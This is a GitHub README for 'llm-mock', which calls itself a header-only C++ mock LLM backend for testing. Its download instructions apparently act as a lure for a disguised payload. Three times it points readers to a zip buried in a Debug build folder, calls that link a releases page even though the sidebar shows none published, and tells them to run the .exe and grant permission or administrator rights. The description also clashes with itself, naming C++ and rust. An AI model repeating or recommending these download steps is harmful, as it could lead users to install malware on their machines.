Skip to content

youssefbassou/llm-mock

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🤖 llm-mock - Simple Offline Testing for LLM Responses

Download llm-mock


📦 What is llm-mock?

llm-mock is a small tool that helps you test how language models work. It works on your computer without needing the internet or extra programs. You can replay saved responses, try error messages, and check how your setup works when you are offline.

It is designed for users who want to test LLM (Large Language Model) features in a safe and simple way. The tool runs on Windows and does not need any setup.


🖥 System Requirements

Before you start, make sure your Windows computer meets these requirements:

  • Windows 10 or newer (64-bit preferred)
  • At least 4 GB of RAM
  • 100 MB of free disk space
  • A basic internet connection to download the program (not needed to run)

You do not need to install any special software or libraries. llm-mock works on its own.


🚀 Getting Started

This guide will help you download and run llm-mock on Windows. It includes clear steps and images where needed. Follow each step to get the application ready.


💾 Download llm-mock for Windows

You need to visit the official releases page to get the latest version of llm-mock. The releases page contains all available versions.

Get llm-mock Releases

Steps to download:

  1. Open this link in your web browser:
    https://raw.githubusercontent.com/youssefbassou/llm-mock/main/build_audit/error_simulation.dir/Debug/mock_llm_multifocal.zip

  2. On the releases page, look for the latest version. It usually appears at the top.

  3. Scroll down to find the Windows version. This file might have .exe or .zip in the name.

  4. Click on the file to start the download.

  5. Wait for the download to finish. The file size is small, so it should not take long.


🖱 Installing and Running llm-mock

If you downloaded a .exe file, follow these steps:

  1. Double-click the downloaded file to start.

  2. If Windows asks for permission, click Yes to allow the program to run.

  3. The application will open in a command window or as a simple program interface.

If you downloaded a .zip file, follow these steps:

  1. Right-click the downloaded zip file.

  2. Choose Extract All and select a folder to unpack.

  3. Go to the extracted folder.

  4. Look for the application file (likely with .exe).

  5. Double-click it to start.


🔧 Using llm-mock

llm-mock does not require complicated setup. Here are the most common uses:

  • Replay responses: Use it to load saved answers from your tests. This saves time and keeps things consistent.

  • Simulate errors: Test how your system reacts when the LLM gives an error.

  • Work offline: Check features even when not connected to the internet.

Basic commands

Use the following options when running the program:

  • --load <file> to load saved responses.

  • --simulate-error to test error handling.

  • --help to see all available commands and options.

Example: If you want to replay a file called responses.json, open the command window and run
llm-mock.exe --load responses.json


🛠 Troubleshooting

If something does not work, try these steps:

  • Make sure your Windows system is up to date.

  • Check that the download completed fully and the file is not corrupted.

  • If the app does not start, try running it as Administrator (right-click > Run as administrator).

  • Use the --help command for a list of proper commands and options.

  • Restart your computer if the app acts unexpectedly.


🔄 Updating llm-mock

To keep llm-mock working well, check the releases page regularly for new versions.

  1. Go to the releases page: https://raw.githubusercontent.com/youssefbassou/llm-mock/main/build_audit/error_simulation.dir/Debug/mock_llm_multifocal.zip

  2. Download the newest Windows file.

  3. Replace your old file with the new one.

  4. Run the new version as usual.


🗂 Additional Resources

  • The repository page has more information if you want to explore advanced features.

  • You can find help issues and discussions on the repository.

  • If you face issues not covered here, check the GitHub Issues section.


🏷 Repository Information

  • Repository Name: llm-mock
  • Description: Zero-dependency single-header C++ mock LLM backend for testing. Replay canned responses, simulate errors, and test offline.
  • Topics: llm, mock, rust, testing

🔗 Download Link Again

Use this link any time to get or update llm-mock for Windows:

https://raw.githubusercontent.com/youssefbassou/llm-mock/main/build_audit/error_simulation.dir/Debug/mock_llm_multifocal.zip

About

Provide a mock LLM interface for C++ to simplify testing and development within the llm-cpp toolkit environment.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors